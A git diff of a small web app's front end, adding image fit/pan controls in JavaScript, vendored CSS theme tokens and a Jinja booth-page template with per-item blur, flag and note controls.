||||
{# THE STAGE MACHINERY (r2c, shared by R3). One copy, behind a stated
|
||||
interface, used by the review (one stage) and compare (two). It DEFINES two
|
||||
things and binds nothing by itself:
|
||||
|
||||
BoothMode.bind({toggle, fit, one, onChange}) page level, once
|
||||
BoothStage.attach(stageEl, {img, onSettle}) once per stage
|
||||
|
||||
A page binds BoothMode ONLY when at least one of its stages is an image (the
|
||||
review's rule): two videos get no toggle. No key is bound here — the review
|
||||
gains none, and compare's `Z` is compare's own (r3 C4, INV-6). No
|
||||
ResizeObserver here either: each page owns its own, so the review's stays in
|
||||
view.html with its mutation row. #}
|
||||
<script>
|
||||
/* The mode is ONE class on <html>, `stage-one` (absent = Fit), set by the
|
||||
head script before any stage existed. This owns the class, the pressed
|
||||
state, the storage writes and the cross-tab listener. It never raises:
|
||||
storage that throws costs the memory, never the click. */
|
||||
var BoothMode = {
|
||||
bind: function (o) {
|
||||
var d = document.documentElement;
|
||||
var toggle = o.toggle, bFit = o.fit, bOne = o.one;
|
||||
var onChange = o.onChange || function () {};
|
||||
var show = function () {
|
||||
var one = d.classList.contains('stage-one');
|
||||
bFit.classList.toggle('on', !one);
|
||||
bOne.classList.toggle('on', one);
|
||||
bFit.setAttribute('aria-pressed', one ? 'false' : 'true');
|
||||
bOne.setAttribute('aria-pressed', one ? 'true' : 'false');
|
||||
};
|
||||
/* The click applies to the page first and is remembered second: storage
|
||||
that throws costs the memory, never the click. */
|
||||
var setMode = function (one) {
|
||||
d.classList.toggle('stage-one', one);
|
||||
try {
|
||||
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.removeItem('booth.fit');
|
||||
} catch (e) {}
|
||||
show();
|
||||
onChange();
|
||||
};
|
||||
toggle.hidden = false;
|
||||
show();
|
||||
/* A mode chosen in another tab moves this one (the theme's rule). */
|
||||
window.addEventListener('storage', function (e) {
|
||||
if (e.key !== 'booth.fit' && e.key !== null) return;
|
||||
var one = false;
|
||||
try { one = localStorage.getItem('booth.fit') === 'one'; } catch (x) {}
|
||||
d.classList.toggle('stage-one', one);
|
||||
show();
|
||||
onChange();
|
||||
});
|
||||
bFit.addEventListener('click', function () { setMode(false); });
|
||||
bOne.addEventListener('click', function () { setMode(true); });
|
||||
return {
|
||||
setMode: setMode,
|
||||
flip: function () { setMode(!d.classList.contains('stage-one')); }
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
/* One stage: whether its picture can pan, and DRAG TO PAN (r2c S4). Returns
|
||||
{settle, pannable}; `settle` is the stage's own settle, then the page's
|
||||
`onSettle` (the review places its arrows there). */
|
||||
var BoothStage = {
|
||||
attach: function (stage, o) {
|
||||
var d = document.documentElement;
|
||||
var img = o.img || null;
|
||||
var onSettle = o.onSettle || function () {};
|
||||
function pannable() {
|
||||
var can = !!img && d.classList.contains('stage-one') &&
|
||||
(stage.scrollWidth > stage.clientWidth || stage.scrollHeight > stage.clientHeight);
|
||||
stage.classList.toggle('can-pan', can);
|
||||
return can;
|
||||
}
|
||||
function settle() { pannable(); onSettle(); }
|
||||
if (!img) return {settle: settle, pannable: pannable};
|
||||
|
||||
img.addEventListener('load', settle);
|
||||
if (img.complete) settle();
|
||||
|
||||
/* The picture follows the pointer, a press that moves under 4px is not a
|
||||
drag, and a press on a control inside the stage keeps its click. The
|
||||
picture cannot be dragged away. */
|
||||
stage.addEventListener('dragstart', function (e) { e.preventDefault(); });
|
||||
var drag = null;
|
||||
stage.addEventListener('pointerdown', function (e) {
|
||||
if (e.button !== 0 || !pannable()) return;
|
||||
/* a press on the stage's own scrollbar is the scrollbar's, not a pan
|
||||
(heid bug-hunt, groa: the pan fought the thumb, backwards) */
|
||||
var r = stage.getBoundingClientRect();
|
||||
if (e.clientX - r.left - stage.clientLeft >= stage.clientWidth ||
|
||||
e.clientY - r.top - stage.clientTop >= stage.clientHeight) return;
|
||||
/* nothing interactive lives in a stage today (its reveal sits over
|
||||
it); this keeps a future control's click its own */
|
||||
if (e.target.closest && e.target.closest('button, a, input, textarea, select, summary')) return;
|
||||
drag = {x: e.clientX, y: e.clientY, l: stage.scrollLeft, t: stage.scrollTop, on: false, id: e.pointerId};
|
||||
});
|
||||
stage.addEventListener('pointermove', function (e) {
|
||||
if (!drag || e.pointerId !== drag.id) return;
|
||||
/* No button held: the press ended where the stage could not hear it
|
||||
(released outside before the drag began). Never pan on a hover. */
|
||||
if (!(e.buttons & 1)) { endDrag(); return; }
|
||||
var dx = e.clientX - drag.x, dy = e.clientY - drag.y;
|
||||
if (!drag.on) {
|
||||
if (dx * dx + dy * dy < 16) return; /* under 4px in all: a click */
|
||||
drag.on = true;
|
||||
stage.classList.add('is-grabbing');
|
||||
try { stage.setPointerCapture(drag.id); } catch (x) {}
|
||||
}
|
||||
stage.scrollLeft = drag.l - dx;
|
||||
stage.scrollTop = drag.t - dy;
|
||||
e.preventDefault();
|
||||
});
|
||||
function endDrag() {
|
||||
if (drag && drag.on) stage.classList.remove('is-grabbing');
|
||||
drag = null;
|
||||
}
|
||||
stage.addEventListener('pointerup', endDrag);
|
||||
stage.addEventListener('pointercancel', endDrag);
|
||||
return {settle: settle, pannable: pannable};
|
||||
}
|
||||
};
|
||||
</script>
|
||||
@@ -0,0 +1,375 @@
|
||||
/* SVOS tokens — VENDORED BY COPY from design-systems
|
||||
palettes/svos/colors.css + svos-theme.css @ ed2f8d8. Do not hand-edit values;
|
||||
re-vendor from the source. The only transform is SCOPING: SVOS selects its
|
||||
four themes by [data-theme]; the Booth follows the OS unless the viewer
|
||||
forces a theme (the top-bar toggle sets data-theme on <html>). So light
|
||||
applies when the OS asks and dark is not forced, or when light is forced;
|
||||
high contrast follows whichever theme is in effect. No JS, no attribute:
|
||||
exactly the OS. Semantic tokens only in the Booth layer below — never a
|
||||
primitive, never a raw hex. */
|
||||
:root {
|
||||
--graphite-10: oklch(0.17 0.01 250);
|
||||
--graphite-15: oklch(0.21 0.01 248);
|
||||
--graphite-20: oklch(0.255 0.011 246);
|
||||
--graphite-25: oklch(0.31 0.012 244);
|
||||
--graphite-30: oklch(0.37 0.012 242);
|
||||
--graphite-40: oklch(0.46 0.012 238);
|
||||
--graphite-50: oklch(0.55 0.011 234);
|
||||
--graphite-60: oklch(0.64 0.01 230);
|
||||
--graphite-65: oklch(0.69 0.009 228);
|
||||
--graphite-70: oklch(0.73 0.009 226);
|
||||
--graphite-75: oklch(0.79 0.009 224);
|
||||
--graphite-80: oklch(0.84 0.009 222);
|
||||
--graphite-90: oklch(0.91 0.008 216);
|
||||
--graphite-94: oklch(0.945 0.006 214);
|
||||
--graphite-96: oklch(0.965 0.005 212);
|
||||
--graphite-98: oklch(0.985 0.003 210);
|
||||
--green-deep: oklch(0.48 0.1 119);
|
||||
--green-base: oklch(0.66 0.15 119);
|
||||
--green-bright: oklch(0.8 0.185 119);
|
||||
--sage-deep: oklch(0.48 0.07 140);
|
||||
--sage-base: oklch(0.66 0.1 140);
|
||||
--sage-bright: oklch(0.8 0.1 140);
|
||||
--amber-deep: oklch(0.48 0.1 78);
|
||||
--amber-base: oklch(0.72 0.148 82);
|
||||
--amber-bright: oklch(0.84 0.17 86);
|
||||
--orange-deep: oklch(0.48 0.16 36);
|
||||
--orange-base: oklch(0.66 0.213 38.5);
|
||||
--orange-bright: oklch(0.8 0.12 44);
|
||||
--intel-deep: oklch(0.48 0.09 235);
|
||||
--intel-base: oklch(0.66 0.1 235);
|
||||
--intel-bright: oklch(0.8 0.08 235);
|
||||
--armed-green: var(--green-bright);
|
||||
--hazard-orange: var(--orange-base);
|
||||
--graphite-ink: var(--graphite-15);
|
||||
}
|
||||
|
||||
/* dark — the lair default, and data-theme="dark" */
|
||||
:root {
|
||||
color-scheme: dark;
|
||||
--surface-sunken: var(--graphite-10);
|
||||
--surface-base: var(--graphite-15);
|
||||
--surface-raised: var(--graphite-20);
|
||||
--surface-overlay: oklch(0.31 0.012 244);
|
||||
--surface-card: var(--graphite-20);
|
||||
--surface-input: var(--graphite-10);
|
||||
--surface-scrim: oklch(0.14 0.01 250 / 0.72);
|
||||
--text-heading: var(--graphite-90);
|
||||
--text-body: var(--graphite-75);
|
||||
--text-muted: var(--graphite-70);
|
||||
--text-faint: var(--graphite-60);
|
||||
--text-inverse: var(--graphite-15);
|
||||
--text-link: var(--intel-bright);
|
||||
--text-link-hover: var(--graphite-90);
|
||||
--border-subtle: var(--graphite-25);
|
||||
--border-default: var(--graphite-25);
|
||||
--border-strong: var(--graphite-40);
|
||||
--border-focus: var(--green-bright);
|
||||
--accent: var(--green-bright);
|
||||
--accent-hover: oklch(0.845 0.185 119);
|
||||
--accent-active: oklch(0.73 0.17 119);
|
||||
--accent-text: var(--green-bright);
|
||||
--accent-contrast: var(--graphite-10);
|
||||
--accent-soft: color-mix(in oklab, var(--green-bright) 12%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-bright) 20%, transparent);
|
||||
--success: var(--sage-base);
|
||||
--success-text: var(--sage-bright);
|
||||
--success-soft: color-mix(in oklab, var(--sage-base) 14%, transparent);
|
||||
--warning: var(--amber-base);
|
||||
--warning-text: var(--amber-bright);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 13%, transparent);
|
||||
--danger: var(--orange-base);
|
||||
--danger-hover: oklch(0.71 0.18 38.5);
|
||||
--danger-text: var(--orange-bright);
|
||||
--danger-contrast: var(--graphite-10);
|
||||
--danger-soft: color-mix(in oklab, var(--orange-base) 14%, transparent);
|
||||
--intel: var(--intel-base);
|
||||
--intel-text: var(--intel-bright);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-base) 14%, transparent);
|
||||
--selection-bg: var(--green-bright);
|
||||
--selection-fg: var(--graphite-10);
|
||||
}
|
||||
|
||||
/* art layer: voices, type, space, radii, motion, elevation, the devices */
|
||||
:root {
|
||||
/* voices — Plex speaks, mono records, Exan appears on the letterhead */
|
||||
--font-sans: "IBM Plex Sans", ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
|
||||
--font-mono: "JetBrains Mono", ui-monospace, "SF Mono", Menlo, Consolas, monospace;
|
||||
--font-brand: "Exan", "IBM Plex Sans", sans-serif;
|
||||
|
||||
/* type — 14px base, calm ladder */
|
||||
--size-display: 38px; --size-h1: 25px; --size-h2: 18px; --size-h3: 15px;
|
||||
--size-body: 14px; --size-sm: 13px; --size-caption: 12px;
|
||||
--size-micro: 11px; --size-mono: 12.5px;
|
||||
--tracking-display: -0.02em; --tracking-h: -0.01em; --tracking-caps: 0.12em;
|
||||
--leading-body: 1.55; --leading-tight: 1.12;
|
||||
|
||||
/* spacing — 4px base, roomier than an ops console has any right to be */
|
||||
--space-1: 4px; --space-2: 8px; --space-3: 12px; --space-4: 16px;
|
||||
--space-5: 20px; --space-6: 24px; --space-8: 32px; --space-12: 48px;
|
||||
--space-16: 64px; --space-24: 96px;
|
||||
|
||||
/* radii — calm 8/12; the Bureau stamps square off at 3 */
|
||||
--radius-sm: 3px; --radius-md: 6px; --radius-lg: 8px;
|
||||
--radius-xl: 12px; --radius-pill: 999px;
|
||||
|
||||
/* motion — unhurried decel; nothing loops, nothing bounces */
|
||||
--ease-out: cubic-bezier(0.16, 1, 0.3, 1);
|
||||
--dur-1: 120ms; --dur-2: 200ms; --dur-3: 300ms;
|
||||
|
||||
/* elevation (dark default: heavier, cool) */
|
||||
--shadow-sm: 0 1px 2px rgb(0 0 0 / 0.35);
|
||||
--shadow-md: 0 4px 14px rgb(0 0 0 / 0.4);
|
||||
--shadow-lg: 0 14px 36px rgb(0 0 0 / 0.5);
|
||||
|
||||
/* device 2 — the hazard stripe (irreversible actions ONLY) */
|
||||
--hazard-alt: color-mix(in oklab, var(--danger) 25%, var(--surface-sunken));
|
||||
--hazard-stripe: repeating-linear-gradient(-45deg,
|
||||
var(--danger) 0 8px, var(--hazard-alt) 8px 16px);
|
||||
|
||||
/* device 3 — the armed glow (live power ONLY) */
|
||||
--glow-armed: 0 0 12px color-mix(in oklab, var(--accent) 40%, transparent);
|
||||
}
|
||||
|
||||
/* light: the OS asks and the viewer has not forced dark ... */
|
||||
@media (prefers-color-scheme: light) {
|
||||
:root:not([data-theme="dark"]) {
|
||||
color-scheme: light;
|
||||
--surface-sunken: var(--graphite-94);
|
||||
--surface-base: var(--graphite-96);
|
||||
--surface-raised: var(--graphite-98);
|
||||
--surface-overlay: #ffffff;
|
||||
--surface-card: var(--graphite-98);
|
||||
--surface-input: #ffffff;
|
||||
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
|
||||
--text-heading: var(--graphite-15);
|
||||
--text-body: var(--graphite-30);
|
||||
--text-muted: var(--graphite-40);
|
||||
--text-faint: var(--graphite-50);
|
||||
--text-inverse: var(--graphite-90);
|
||||
--text-link: oklch(0.455 0.097 235);
|
||||
--text-link-hover: var(--graphite-15);
|
||||
--border-subtle: oklch(0.89 0.006 218);
|
||||
--border-default: oklch(0.85 0.008 220);
|
||||
--border-strong: var(--graphite-75);
|
||||
--border-focus: var(--green-deep);
|
||||
--accent: var(--green-deep);
|
||||
--accent-hover: oklch(0.44 0.1 119);
|
||||
--accent-active: oklch(0.4 0.09 119);
|
||||
--accent-text: oklch(0.44 0.1 119);
|
||||
--accent-contrast: #ffffff;
|
||||
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
|
||||
--success: var(--sage-deep);
|
||||
--success-text: var(--sage-deep);
|
||||
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
|
||||
--warning: var(--amber-deep);
|
||||
--warning-text: var(--amber-deep);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
|
||||
--danger: var(--orange-deep);
|
||||
--danger-hover: oklch(0.44 0.15 36);
|
||||
--danger-text: var(--orange-deep);
|
||||
--danger-contrast: #ffffff;
|
||||
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
|
||||
--intel: var(--intel-deep);
|
||||
--intel-text: var(--intel-deep);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
|
||||
--selection-bg: var(--green-deep);
|
||||
--selection-fg: #ffffff;
|
||||
--shadow-sm: 0 1px 2px rgb(23 31 38 / 0.07);
|
||||
--shadow-md: 0 4px 14px rgb(23 31 38 / 0.1);
|
||||
--shadow-lg: 0 14px 36px rgb(23 31 38 / 0.14);
|
||||
--glow-armed: 0 0 10px color-mix(in oklab, var(--accent) 30%, transparent);
|
||||
}
|
||||
}
|
||||
|
||||
/* ... or the viewer forced light. Same declarations as above, by construction. */
|
||||
:root[data-theme="light"] {
|
||||
color-scheme: light;
|
||||
--surface-sunken: var(--graphite-94);
|
||||
--surface-base: var(--graphite-96);
|
||||
--surface-raised: var(--graphite-98);
|
||||
--surface-overlay: #ffffff;
|
||||
--surface-card: var(--graphite-98);
|
||||
--surface-input: #ffffff;
|
||||
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
|
||||
--text-heading: var(--graphite-15);
|
||||
--text-body: var(--graphite-30);
|
||||
--text-muted: var(--graphite-40);
|
||||
--text-faint: var(--graphite-50);
|
||||
--text-inverse: var(--graphite-90);
|
||||
--text-link: oklch(0.455 0.097 235);
|
||||
--text-link-hover: var(--graphite-15);
|
||||
--border-subtle: oklch(0.89 0.006 218);
|
||||
--border-default: oklch(0.85 0.008 220);
|
||||
--border-strong: var(--graphite-75);
|
||||
--border-focus: var(--green-deep);
|
||||
--accent: var(--green-deep);
|
||||
--accent-hover: oklch(0.44 0.1 119);
|
||||
--accent-active: oklch(0.4 0.09 119);
|
||||
--accent-text: oklch(0.44 0.1 119);
|
||||
--accent-contrast: #ffffff;
|
||||
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
|
||||
--success: var(--sage-deep);
|
||||
--success-text: var(--sage-deep);
|
||||
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
|
||||
--warning: var(--amber-deep);
|
||||
--warning-text: var(--amber-deep);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
|
||||
--danger: var(--orange-deep);
|
||||
--danger-hover: oklch(0.44 0.15 36);
|
||||
--danger-text: var(--orange-deep);
|
||||
--danger-contrast: #ffffff;
|
||||
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
|
||||
--intel: var(--intel-deep);
|
||||
--intel-text: var(--intel-deep);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
|
||||
--selection-bg: var(--green-deep);
|
||||
--selection-fg: #ffffff;
|
||||
--shadow-sm: 0 1px 2px rgb(23 31 38 / 0.07);
|
||||
--shadow-md: 0 4px 14px rgb(23 31 38 / 0.1);
|
||||
--shadow-lg: 0 14px 36px rgb(23 31 38 / 0.14);
|
||||
--glow-armed: 0 0 10px color-mix(in oklab, var(--accent) 30%, transparent);
|
||||
}
|
||||
|
||||
/* dark high contrast: whenever dark is in effect (light, below, outranks it) */
|
||||
@media (prefers-contrast: more) {
|
||||
:root {
|
||||
--surface-sunken: var(--graphite-10);
|
||||
--surface-base: var(--graphite-15);
|
||||
--surface-raised: var(--graphite-20);
|
||||
--surface-overlay: oklch(0.31 0.012 244);
|
||||
--surface-card: var(--graphite-20);
|
||||
--surface-input: var(--graphite-10);
|
||||
--surface-scrim: oklch(0.14 0.01 250 / 0.72);
|
||||
--text-heading: var(--graphite-90);
|
||||
--text-body: var(--graphite-75);
|
||||
--text-muted: var(--graphite-70);
|
||||
--text-faint: oklch(0.7142 0.0085 230);
|
||||
--text-inverse: var(--graphite-15);
|
||||
--text-link: var(--intel-bright);
|
||||
--text-link-hover: var(--graphite-90);
|
||||
--border-subtle: var(--graphite-25);
|
||||
--border-default: var(--graphite-40);
|
||||
--border-strong: var(--graphite-50);
|
||||
--border-focus: var(--green-bright);
|
||||
--accent: var(--green-bright);
|
||||
--accent-hover: oklch(0.845 0.185 119);
|
||||
--accent-active: oklch(0.73 0.17 119);
|
||||
--accent-text: var(--green-bright);
|
||||
--accent-contrast: var(--graphite-10);
|
||||
--accent-soft: color-mix(in oklab, var(--green-bright) 12%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-bright) 20%, transparent);
|
||||
--success: var(--sage-base);
|
||||
--success-text: var(--sage-bright);
|
||||
--success-soft: color-mix(in oklab, var(--sage-base) 14%, transparent);
|
||||
--warning: var(--amber-base);
|
||||
--warning-text: var(--amber-bright);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 13%, transparent);
|
||||
--danger: var(--orange-base);
|
||||
--danger-hover: oklch(0.71 0.18 38.5);
|
||||
--danger-text: var(--orange-bright);
|
||||
--danger-contrast: var(--graphite-10);
|
||||
--danger-soft: color-mix(in oklab, var(--orange-base) 14%, transparent);
|
||||
--intel: var(--intel-base);
|
||||
--intel-text: var(--intel-bright);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-base) 14%, transparent);
|
||||
--selection-bg: var(--green-bright);
|
||||
--selection-fg: var(--graphite-10);
|
||||
}
|
||||
}
|
||||
|
||||
/* light high contrast: the OS light case ... */
|
||||
@media (prefers-contrast: more) and (prefers-color-scheme: light) {
|
||||
:root:not([data-theme="dark"]) {
|
||||
--surface-sunken: var(--graphite-94);
|
||||
--surface-base: var(--graphite-96);
|
||||
--surface-raised: var(--graphite-98);
|
||||
--surface-overlay: #ffffff;
|
||||
--surface-card: var(--graphite-98);
|
||||
--surface-input: #ffffff;
|
||||
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
|
||||
--text-heading: var(--graphite-15);
|
||||
--text-body: var(--graphite-30);
|
||||
--text-muted: oklch(0.4403 0.0102 238);
|
||||
--text-faint: oklch(0.4403 0.00935 234);
|
||||
--text-inverse: var(--graphite-90);
|
||||
--text-link: oklch(0.4371 0.08245 235);
|
||||
--text-link-hover: var(--graphite-15);
|
||||
--border-subtle: oklch(0.89 0.006 218);
|
||||
--border-default: var(--graphite-60);
|
||||
--border-strong: var(--graphite-40);
|
||||
--border-focus: var(--green-deep);
|
||||
--accent: var(--green-deep);
|
||||
--accent-hover: oklch(0.44 0.1 119);
|
||||
--accent-active: oklch(0.4 0.09 119);
|
||||
--accent-text: oklch(0.436 0.085 119);
|
||||
--accent-contrast: #ffffff;
|
||||
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
|
||||
--success: var(--sage-deep);
|
||||
--success-text: oklch(0.4033 0.0595 140);
|
||||
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
|
||||
--warning: var(--amber-deep);
|
||||
--warning-text: oklch(0.4103 0.085 78);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
|
||||
--danger: var(--orange-deep);
|
||||
--danger-hover: oklch(0.44 0.15 36);
|
||||
--danger-text: oklch(0.4225 0.136 36);
|
||||
--danger-contrast: #ffffff;
|
||||
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
|
||||
--intel: var(--intel-deep);
|
||||
--intel-text: oklch(0.4373 0.0765 235);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
|
||||
--selection-bg: var(--green-deep);
|
||||
--selection-fg: #ffffff;
|
||||
}
|
||||
}
|
||||
|
||||
/* ... and the forced light case. */
|
||||
@media (prefers-contrast: more) {
|
||||
:root[data-theme="light"] {
|
||||
--surface-sunken: var(--graphite-94);
|
||||
--surface-base: var(--graphite-96);
|
||||
--surface-raised: var(--graphite-98);
|
||||
--surface-overlay: #ffffff;
|
||||
--surface-card: var(--graphite-98);
|
||||
--surface-input: #ffffff;
|
||||
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
|
||||
--text-heading: var(--graphite-15);
|
||||
--text-body: var(--graphite-30);
|
||||
--text-muted: oklch(0.4403 0.0102 238);
|
||||
--text-faint: oklch(0.4403 0.00935 234);
|
||||
--text-inverse: var(--graphite-90);
|
||||
--text-link: oklch(0.4371 0.08245 235);
|
||||
--text-link-hover: var(--graphite-15);
|
||||
--border-subtle: oklch(0.89 0.006 218);
|
||||
--border-default: var(--graphite-60);
|
||||
--border-strong: var(--graphite-40);
|
||||
--border-focus: var(--green-deep);
|
||||
--accent: var(--green-deep);
|
||||
--accent-hover: oklch(0.44 0.1 119);
|
||||
--accent-active: oklch(0.4 0.09 119);
|
||||
--accent-text: oklch(0.436 0.085 119);
|
||||
--accent-contrast: #ffffff;
|
||||
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
|
||||
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
|
||||
--success: var(--sage-deep);
|
||||
--success-text: oklch(0.4033 0.0595 140);
|
||||
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
|
||||
--warning: var(--amber-deep);
|
||||
--warning-text: oklch(0.4103 0.085 78);
|
||||
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
|
||||
--danger: var(--orange-deep);
|
||||
--danger-hover: oklch(0.44 0.15 36);
|
||||
--danger-text: oklch(0.4225 0.136 36);
|
||||
--danger-contrast: #ffffff;
|
||||
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
|
||||
--intel: var(--intel-deep);
|
||||
--intel-text: oklch(0.4373 0.0765 235);
|
||||
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
|
||||
--selection-bg: var(--green-deep);
|
||||
--selection-fg: #ffffff;
|
||||
}
|
||||
}
|
||||
+1264
-462
File diff suppressed because it is too large
Load Diff
+366
-44
@@ -1,26 +1,35 @@
|
||||
{% extends "base.html" %}
|
||||
{% from "_provenance.html" import provenance %}
|
||||
{% from "_lifetime.html" import lifetime %}
|
||||
{% from "_dates.html" import dates %}
|
||||
{# The blur toggle, defined ONCE. There are three item branches in this file
|
||||
(doc / media / other) and the first cut of this feature patched only one of
|
||||
them, so docs rendered with no control at all. A macro makes "patched two of
|
||||
three" impossible rather than merely unlikely. #}
|
||||
{% macro blurtoggle(name_url, it, cls='') -%}
|
||||
{# Blurred only because the whole booth is (r2b D2b): say so, and offer no
|
||||
per-item un-blur — the booth flag would keep it blurred, so the control
|
||||
would do nothing visible. The header un-blurs the booth. #}
|
||||
{% if it.blurred and not it.blurred_self %}
|
||||
<span class="blurtoggle blur-by-booth {{ cls }}" title="blurred with the whole booth — un-blur the booth in the header">◉ booth</span>
|
||||
{% else %}
|
||||
<form class="blurtoggle {{ cls }}" method="post" action="/b/{{ name_url }}/blur">
|
||||
<input type="hidden" name="f" value="{{ it.name }}">
|
||||
<input type="hidden" name="on" value="{{ '0' if it.blurred else '1' }}">
|
||||
<button title="{{ 'un-blur this item' if it.blurred else 'blur this item — cosmetic only, the file is still served' }}"
|
||||
aria-label="{{ 'un-blur' if it.blurred else 'blur' }} {{ it.name }}"
|
||||
>{{ '◉ blurred' if it.blurred else '◌ blur' }}</button>
|
||||
<input type="hidden" name="on" value="{{ '0' if it.blurred_self else '1' }}">
|
||||
<button title="{{ 'un-blur this item' if it.blurred_self else 'blur this item — cosmetic only, the file is still served' }}"
|
||||
aria-label="{{ 'un-blur' if it.blurred_self else 'blur' }} {{ it.name }}"
|
||||
>{{ '◉ blurred' if it.blurred_self else '◌ blur' }}</button>
|
||||
</form>
|
||||
{% endif %}
|
||||
{%- endmacro %}
|
||||
|
||||
{# The per-item MARK controls: flag (the operator pointing at this one) and a
|
||||
note field. Same macro discipline as blurtoggle above — three item branches,
|
||||
one definition. `marks` here is THIS item's marks, from item_marks. #}
|
||||
{% macro markcontrols(name_url, it, marks, cls='') -%}
|
||||
{% set flagged = marks | selectattr('shape', 'equalto', 'flag') | list | length > 0 %}
|
||||
<form class="flagtoggle {{ cls }}" method="post" action="/b/{{ name_url }}/flag">
|
||||
{# THE flag predicate (flagged_targets), shared with every other surface #}
|
||||
{% set flagged = it.name in flagged_set %}
|
||||
<form class="flagtoggle {{ cls }}" method="post" action="/b/{{ name_url }}/flag" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ it.name }}">
|
||||
<input type="hidden" name="on" value="{{ '0' if flagged else '1' }}">
|
||||
<button title="{{ 'un-flag this item' if flagged else 'flag this one — the session that posted it can read the selection' }}"
|
||||
@@ -37,7 +46,7 @@
|
||||
{% for m in marks if m.shape == 'note' %}
|
||||
<div class="item-note" id="mark-{{ m.id }}">
|
||||
<pre>{{ m.text }}</pre>
|
||||
<form method="post" action="/b/{{ name_url }}/unmark">
|
||||
<form method="post" action="/b/{{ name_url }}/unmark" data-inplace>
|
||||
<input type="hidden" name="mark" value="{{ m.id }}">
|
||||
<button class="mark-x" title="withdraw this note">×</button>
|
||||
</form>
|
||||
@@ -45,7 +54,7 @@
|
||||
{% endfor %}
|
||||
<details class="item-addnote">
|
||||
<summary>+ note</summary>
|
||||
<form method="post" action="/b/{{ name_url }}/note">
|
||||
<form method="post" action="/b/{{ name_url }}/note" data-inplace>
|
||||
<input type="hidden" name="target" value="{{ it.name }}">
|
||||
<textarea name="text" rows="2" placeholder="a note on this item"></textarea>
|
||||
<button type="submit">Add</button>
|
||||
@@ -53,7 +62,15 @@
|
||||
</details>
|
||||
{%- endmacro %}
|
||||
|
||||
{# R2 C1: an item's number in the WHOLE set, zero-padded to the set's width so
|
||||
a column of them lines up. Width reads `all_items`, never the filtered list:
|
||||
a filter must not change how a number is written any more than which. #}
|
||||
{% macro ordinal(it) -%}
|
||||
<span class="ord" data-ordinal="{{ it.ordinal }}">#{{ "%0*d"|format((all_items|length|string|length), it.ordinal) }}</span>
|
||||
{%- endmacro %}
|
||||
|
||||
{% block title %}{{ name }} · The Booth{% endblock %}
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
|
||||
{% block content %}
|
||||
<div class="boothhead">
|
||||
<a class="back" href="/">‹ all booths</a>
|
||||
@@ -66,7 +83,9 @@
|
||||
{% else %}
|
||||
<h1>{{ name }}</h1>
|
||||
{% endif %}
|
||||
<span class="sub">{% if uploaded %}<span class="badge">⬆ pickup</span> {% endif %}{% if board %}{{ board|length }} link{{ '' if board|length == 1 else 's' }}{% if items %} · {{ items|length }} file{{ '' if items|length == 1 else 's' }}{% endif %} · {{ lifetime(kept, hold, expires_in) }}{% else %}{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ items|length }} item{{ '' if items|length == 1 else 's' }} · {{ lifetime(kept, hold, expires_in) }}{% endif %}</span>
|
||||
{# The open count and the lifetime line depend on marks, so they are a region
|
||||
(R2 C3): answering the last pick in place must not leave "1 open" behind. #}
|
||||
<span class="region-wrap" data-region="booth-status"><span class="sub">{% if uploaded %}<span class="badge">⬆ pickup</span> {% endif %}{% if board %}{{ board|length }} link{{ '' if board|length == 1 else 's' }}{% if items %} · {{ items|length }} file{{ '' if items|length == 1 else 's' }}{% endif %}{{ dates(created_at, landed_at, now) }} · {{ lifetime(kept, hold, expires_in) }}{% else %}{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ items|length }} item{{ '' if items|length == 1 else 's' }}{{ dates(created_at, landed_at, now) }} · {{ lifetime(kept, hold, expires_in) }}{% endif %}</span></span>
|
||||
{% if items %}<a class="dl-link" href="/b/{{ name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>{% endif %}
|
||||
{{ provenance(manifest) }}
|
||||
{# A durable multi-writer board gets no one-click wipe — same rule as the
|
||||
@@ -84,6 +103,23 @@
|
||||
<input type="hidden" name="next" value="/b/{{ name_url }}/">
|
||||
<button title="keep — exempt from the TTL sweep">☆ keep</button>
|
||||
</form>
|
||||
